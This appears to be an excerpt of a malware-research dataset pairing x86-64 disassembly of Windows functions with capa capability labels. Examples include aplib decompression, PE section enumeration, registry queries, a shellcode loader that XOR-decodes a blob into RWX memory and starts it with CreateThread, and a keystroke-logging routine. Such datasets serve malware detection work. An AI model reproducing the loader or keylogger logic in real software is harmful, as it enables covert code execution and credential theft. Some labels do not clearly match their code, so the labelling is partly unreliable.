joyce8/EMBER2024-capa huggingface dataset:
Function at 0x141b13058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141b131df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141b13089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b1306f
add dl, dl
jne 0x141b13096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b130f6
xor eax, eax
add dl, dl
jne 0x141b130a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b131ad
add dl, dl
jne 0x141b130b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b130c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b130d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b130dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141b130ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141b1307e
mov eax, 1
add dl, dl
jne 0x141b13106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b13113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b130fb
sub eax, ebx
mov ebx, 1
jne 0x141b1314c
mov ecx, 1
add dl, dl
jne 0x141b1312e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141b1313b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b13123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b1307e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141b13168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141b13175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b1315d
cmp eax, 0x7d00
jae 0x141b1319b
cmp eax, 0x500
jb 0x141b13196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b1307e
cmp eax, 0x7f
ja 0x141b1319e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b1307e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141b131d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141b1307e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x646013d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Get process image filename
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xd0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0xa0]
mov rax, qword [rbp - 0x10]
mov r8d, pe_nt_image_headers64
mov rcx, rax
call sym.GetProcessImageFileNameA
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x3fe1b
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x6460145a
mov eax, dword [rbp - 4]
cdqe
lea rdx, sym.oci.dll_DATA
movzx ecx, byte [rax + rdx]
mov eax, 0x3fe1a
sub eax, dword [rbp - 4]
movsxd rdx, eax
mov rax, qword [rbp - 0x18]
add rax, rdx
xor ecx, 0xa
mov edx, ecx
mov byte [rax], dl
add dword [rbp - 4], 1
cmp dword [rbp - 4], 0x3fe1a
jle 0x6460142d
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
nop
add rsp, 0xd0
pop rbp
ret

Function at 0x64601880
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x646018f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x646465e4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x64601a98
mov rax, qword [0x646465e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x6460193c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x646019c7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x64601920
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x64601ad2
mov rax, qword [0x646465e8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x646465e8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x64601ae1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x646019c0
sub eax, 4
and eax, 0xfffffffb
jne 0x64601a50
add dword [0x646465e4], 1
cmp ebx, 8
jae 0x646019f8
test bl, 4
jne 0x64601aa0
test ebx, ebx
je 0x646019e9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x64601ac0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x646019e9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x64601a2a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x646465e8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x646019c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor edi, edi
jmp 0x64601947
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x646019e9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x646019e9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
mov rax, qword [0x646465e8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
nop
nop dword [rax]
Function at 0x64602260
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x646468c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x646468a0]
test rbx, rbx
je 0x646022b4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x646022ab
test r12, r12
je 0x646022ab
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x64602290
lea rcx, [0x646468c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x646024e0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x646024f0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x64602500
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x64602545
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x6460253c
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x64602547
add rax, 0x28
cmp rax, r9
jne 0x64602528
xor eax, eax
ret

Function at 0x646025f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x64643240]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x64602669
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x64602669
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x64602666
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x6460265d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x64602669
add r8, 0x28
cmp r8, r9
jne 0x64602648
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x64602750
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x64643240]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x646027bf
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x646027bf
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x646027bd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x646027b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x646027c8
add rax, 0x28
cmp rax, r9
jne 0x646027a0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x646027e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x64643240]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x64602858
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x64602858
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x64602858
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x64602858
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x6460284c
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x64602860
add rdx, 0x28
cmp rdx, r10
jne 0x64602838
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x64602870
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x6460287e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x64602855
test r8d, r8d
jg 0x64602868
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x180003fa0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x180011010]
xor rax, rsp
mov qword [rsp + 0xb0], rax
movzx edi, dl
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edx, edx
mov ecx, edi
xor ebp, ebp
call qword [sym.imp.USER32.dll_MapVirtualKeyW]
mov r9d, eax
cmp dil, 1
jne 0x180003fff
xorps xmm0, xmm0
lea r8d, [rbp + 6]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
lea rdx, str.MOUSE0
mov qword [rbx + 0x18], rbp
jmp 0x180004100
cmp dil, 2
jne 0x180004025
xorps xmm0, xmm0
lea rdx, str.MOUSE1
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov r8d, 6
mov qword [rbx + 0x18], rbp
jmp 0x180004100
cmp dil, 4
jne 0x18000404b
xorps xmm0, xmm0
lea rdx, str.MBUTTON
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov r8d, 7
mov qword [rbx + 0x18], rbp
jmp 0x180004100
cmp dil, 5
jne 0x180004071
xorps xmm0, xmm0
lea rdx, str.XBUTTON1
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov r8d, 8
mov qword [rbx + 0x18], rbp
jmp 0x180004100
cmp dil, 6
jne 0x180004094
xorps xmm0, xmm0
lea rdx, str.XBUTTON2
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov r8d, 8
mov qword [rbx + 0x18], rbp
jmp 0x180004100
lea eax, [rdi - 0x21]
cmp eax, 0x84
ja case.0x1800040b9.41
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x4138]
mov ecx, dword [rdx + rax*4 + 0x4130]
add rcx, rdx
jmp rcx
bts r9d, 8
shl r9d, 0x10
lea rdx, [rsp + 0x30]
mov ecx, r9d
mov r8d, 0x80
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
mov r8, 0xffffffffffffffff
mov qword [rbx + 0x18], rbp
inc r8
cmp byte [rax + r8], bpl
jne 0x1800040f2
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.18000b710
mov rax, rbx
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.18000b880
mov rbx, qword [rsp + 0xf0]
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret
Function at 0x7fff25d4143c
Capabilities:
Access peb ldr_data
Get file attributes
Get kernel32 base address
Process ghostly hollowing
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
mov r12d, dword [rdx + 0x54]
mov rsi, rcx
mov r13d, dword [rdx + 0xa8]
mov ecx, 1
add r12d, dword [rdx]
movzx r15d, r8w
add r13d, dword [rdx]
xorps xmm0, xmm0
movups xmmword [rbp - 0x10], xmm0
mov rbx, rdx
mov word [rbp - 0xe], cx
lea eax, [rcx + r15]
mov word [rbp - 0xa], cx
lea rcx, [rbp - 0x10]
mov word [rbp - 0x10], ax
xor r8d, r8d
lea rdx, [rbp - 0x28]
mov edi, r9d
call fcn.7fff25d53668
xor r9d, r9d
test eax, eax
je 0x7fff25d415f9
mov rcx, rbx
call fcn.7fff25d4165c
mov r14d, eax
imul eax, eax, 0x3c
movsxd rcx, eax
imul rdx, rcx, 0x989680
add rdx, qword [rbp - 0x28]
mov qword [rbp - 0x18], rdx
cmp word [rbx + 0x46], r9w
je 0x7fff25dda5a1
cmp word [rbx + 0x9a], r9w
je 0x7fff25dda5a1
xor r8d, r8d
mov word [rbp - 0x10], r15w
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x10]
call fcn.7fff25d53668
test eax, eax
je 0x7fff25d415f9
lea rax, [rbp - 0x30]
lea rdx, [rbx + 0x98]
mov qword [rsp + 0x20], rax
lea rcx, [rbx + 0x44]
lea r9, [rbp + 0x38]
lea r8, [rbp - 0x20]
call fcn.7fff25d53708
xor r9d, r9d
test eax, eax
je 0x7fff25d415f9
test edi, edi
je 0x7fff25dda500
imul eax, r13d, 0x3c
movsxd rcx, eax
imul rax, rcx, 0x989680
mov rcx, qword [rbp + 0x38]
add rcx, rax
imul eax, r12d, 0x3c
mov qword [rbp + 0x38], rcx
movsxd rdx, eax
mov rax, qword [rbp - 0x30]
imul r8, rdx, 0x989680
add rax, r8
mov qword [rbp - 0x30], rax
mov r15d, 1
cmp word [rbx + 0x46], r15w
je 0x7fff25dda50d
cmp word [rbx + 0x9a], r15w
je 0x7fff25dda544
cmp rax, rcx
mov r9d, edi
mov rcx, rsi
jge 0x7fff25dda589
lea r8, [rbp - 0x30]
mov edx, r12d
call fcn.7fff25d41604
lea r8, [rbp + 0x38]
mov edx, r13d
mov r9d, edi
mov rcx, rsi
call fcn.7fff25d41604
mov edx, r14d
mov rcx, rsi
test edi, edi
je 0x7fff25d415f0
mov r9d, edi
lea r8, [rbp - 0x18]
call fcn.7fff25d41604
mov eax, r15d
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
xor r9d, r9d
lea r8, [rbp - 0x28]
jmp 0x7fff25d415c9
xor eax, eax
jmp 0x7fff25d415d1
invalid
mov ecx, dword [rdx + 0x40]
jmp fcn.7fff25d8eb98
mov cl, byte [rax]
add byte [rax], al
jmp 0x7fff25dca3d8
or al, 0x48
lea eax, [0x7fff25e09ed8]
mov qword [rcx], rax
lea rdi, [rcx + 0x10]
mov qword [r11 + 0x10], rdi
xor eax, eax
mov qword [rdi + 0x18], rax
mov rcx, qword [rdx + 0x18]
test rcx, rcx
je 0x7fff25dda580
mov rax, qword [rcx]
mov rax, qword [rax]
cmp rcx, rdx
jne 0x7fff25dda577
mov rdx, rdi
jmp 0x7fff25dda579
xor edx, edx
call qword [fcn.7fff25e0c300]
nop
mov qword [rdi + 0x18], rax
mov rax, rbx
mov rbx, qword [rsp + 0x50]
pop rsp
and al, 0x50
add rsp, 0x30
pop rdi
ret
mov cl, byte [rax]
add byte [rax], al
jmp 0x7fff25dca3d8
Function at 0x7fff25d41eb4
Capabilities:
Query or enumerate registry key

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rsi
push rdi
sub rsp, 0x40
mov rbx, r8
lea rax, [r11 - 0x18]
mov r8, qword [r8]
mov rsi, rcx
mov qword [r11 - 0x28], rax
call qword [sym.imp.ntdll.dll_NtQueryKey]
nop dword [rax + rax]
cmp eax, 0x80000005
je 0x7fff25ddb0dc
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
cmp dword [rsp + 0x70], 0
je 0x7fff25ddb0fb
mov rcx, qword [rbx]
mov edx, dword [rcx + 0x10]
movzx ecx, word [rsp + 0x78]
add rdx, 2
cmp rcx, rdx
jb 0x7fff25d41eec
mov rcx, qword gs:[0x60]
xor edx, edx
mov edi, dword [rsp + 0x30]
mov r8d, edi
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
nop dword [rax + rax]
mov qword [rbx], rax
test rax, rax
jne 0x7fff25ddb12f
mov eax, 0xc0000017
jmp 0x7fff25d41eec
lea rcx, [rsp + 0x30]
mov r9d, edi
mov qword [rsp + 0x20], rcx
mov r8, rax
mov rcx, rsi
mov edx, 2
call qword [sym.imp.ntdll.dll_NtQueryKey]
nop dword [rax + rax]
nop
jmp 0x7fff25d41eec
Function at 0x7fff25d4221c
Capabilities:
Query or enumerate registry key

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x7fff25fcfe70]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rdi, qword [rsp + 0xe0]
xor ebp, ebp
xor r15d, r15d
xor ebx, ebx
mov rsi, r9
mov r14, r8
mov r12, rdx
mov eax, 0xc0000034
test r8, r8
je 0x7fff25d4225f
and dword [r8], ebx
test rsi, rsi
je 0x7fff25d42267
and dword [r9], ebx
test rdi, rdi
je 0x7fff25d4226e
and dword [rdi], ebx
test rcx, rcx
je 0x7fff25d422a4
mov r9d, 0x28
lea rax, [rsp + 0x30]
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rax
lea edx, [r9 - 0x24]
call qword [sym.imp.ntdll.dll_NtQueryKey]
nop dword [rax + rax]
test eax, eax
js 0x7fff25d422fa
mov ebp, dword [rsp + 0x4c]
mov ebx, dword [rsp + 0x50]
test r12, r12
je 0x7fff25d422e3
mov r9d, 0x28
lea rax, [rsp + 0x30]
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov rcx, r12
lea edx, [r9 - 0x24]
call qword [sym.imp.ntdll.dll_NtQueryKey]
nop dword [rax + rax]
test eax, eax
js 0x7fff25d422fa
cmp dword [rsp + 0x50], ebx
mov r15d, dword [rsp + 0x4c]
cmova ebx, dword [rsp + 0x50]
test r14, r14
je 0x7fff25d422eb
mov dword [r14], ebp
test rsi, rsi
je 0x7fff25d422f3
mov dword [rsi], r15d
test rdi, rdi
je 0x7fff25d422fa
mov dword [rdi], ebx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.7fff25dce640
add rsp, 0x70
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x7fff25d47d88
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x7fff25fcfe70]
xor rax, rsp
mov qword [rbp + 0x4f], rax
and qword [rbp - 9], 0
lea rax, [0x7fff25fcf218]
and qword [rbp + 0xf], 0
lea r8, [rbp + 7]
mov rdi, rcx
mov dword [rcx], 1
xorps xmm0, xmm0
mov qword [rbp + 0x17], rax
lea rcx, [rbp - 9]
mov dword [rbp + 7], 0x30
mov edx, 0x101
mov dword [rbp + 0x1f], 0x640
movdqu xmmword [rbp + 0x27], xmm0
call qword [sym.imp.ntdll.dll_NtOpenKey]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jns 0x7fff25dd9e5a
mov rcx, qword [rbp - 9]
test rcx, rcx
jne 0x7fff25dd9eb2
mov eax, ebx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.7fff25dce640
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov rcx, qword [rbp - 9]
lea rax, [rbp - 1]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x37]
mov r8d, 2
mov dword [rsp + 0x20], 0x14
lea rdx, [0x7fff25fcfe00]
call qword [sym.imp.ntdll.dll_NtQueryValueKey]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
js 0x7fff25d47e04
cmp dword [rbp + 0x3b], 4
je 0x7fff25dd9ea6
mov ebx, 0xc0000001
jmp 0x7fff25d47e04
mov eax, dword [rbp + 0x43]
xor ebx, ebx
mov dword [rdi], eax
jmp 0x7fff25d47e04
call qword [sym.imp.ntdll.dll_NtClose]
nop dword [rax + rax]
nop
jmp 0x7fff25d47e11

Function at 0x7fff25d47e3c
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
test rcx, rcx
je 0x7fff25d47e79
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, qword [rcx + 0x18]
mov rbx, rcx
test rsi, rsi
jne 0x7fff25dd9ec4
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov ebp, dword [rcx + 0x10]
xor edi, edi
test ebp, ebp
je 0x7fff25dd9ee8
mov rcx, qword [rsi + rdi*8]
test rcx, rcx
je 0x7fff25dd9ee2
call qword [sym.imp.ntdll.dll_NtClose]
nop dword [rax + rax]
inc edi
cmp edi, ebp
jb 0x7fff25dd9ecd
mov rcx, qword gs:[0x60]
mov r8, rsi
xor edx, edx
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
nop dword [rax + rax]
and qword [rbx + 0x18], 0
and dword [rbx + 0x10], 0
jmp 0x7fff25d47e65
Function at 0x7fff25d4c998
Capabilities:
Check for peb beingdebugged flag

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x7fff25fcfe70]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
lea rbx, [rsp + 0x38]
movups xmmword [rsp + 0x28], xmm0
mov eax, dword [0x7ffe0014]
mov rdi, rcx
mov dword [rsp + 0x20], eax
mov esi, 8
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll_RtlRandomEx]
nop dword [rax + rax]
mov word [rbx], ax
lea rbx, [rbx + 2]
sub rsi, 1
jne 0x7fff25d4c9d6
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntdll.dll_RtlStringFromGUID]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
js 0x7fff25d4ca86
movzx eax, word [rsp + 0x28]
xor edx, edx
add ax, 0x1a
movzx r8d, ax
mov word [rdi + 2], r8w
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
nop dword [rax + rax]
mov qword [rdi + 8], rax
test rax, rax
je 0x7fff25d4caa4
lea rdx, str.REGISTRYA_
mov word [rdi], si
mov rcx, rdi
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeToString]
nop dword [rax + rax]
lea rdx, [rsp + 0x28]
mov rcx, rdi
call qword [sym.imp.ntdll.dll_RtlAppendUnicodeStringToString]
nop dword [rax + rax]
lea rcx, [rsp + 0x28]
call qword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
nop dword [rax + rax]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.7fff25dce640
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
mov ebx, 0xc000009a
jmp 0x7fff25d4ca73

Function at 0x7fff25d4cd98
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
sub rsp, 0x2e0
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x7fff25fcfe70]
xor rax, rsp
mov qword [rbp + 0x280], rax
mov rbx, rcx
xor edi, edi
lea rcx, [rbp + 0x10]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop dword [rax + rax]
lea rax, [rbp + 0x10]
mov dword [rbp + 0x30], 0x30
xorps xmm0, xmm0
mov qword [rbp + 0x40], rax
lea r8, [rbp + 0x30]
mov qword [rbp + 0x38], rbx
mov edx, 0x20019
mov dword [rbp + 0x48], 0x40
lea rcx, [rbp]
movdqu xmmword [rbp + 0x50], xmm0
call qword [sym.imp.ntdll.dll_NtOpenKey]
nop dword [rax + rax]
test eax, eax
js 0x7fff25d4ce74
lea rdx, str.TransientLangId
lea rcx, [rbp + 0x20]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
nop dword [rax + rax]
mov rcx, qword [rbp]
lea rax, [rbp + 8]
mov qword [rsp + 0x28], rax
lea r9, [rbp + 0x60]
lea r8d, [rdi + 1]
mov dword [rsp + 0x20], 0x213
lea rdx, [rbp + 0x20]
call qword [sym.imp.ntdll.dll_NtQueryValueKey]
nop dword [rax + rax]
test eax, eax
jns 0x7fff25ddc4a6
mov rcx, qword [rbp]
call qword [sym.imp.ntdll.dll_NtClose]
nop dword [rax + rax]
mov eax, edi
mov rcx, qword [rbp + 0x280]
xor rcx, rsp
call fcn.7fff25dce640
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
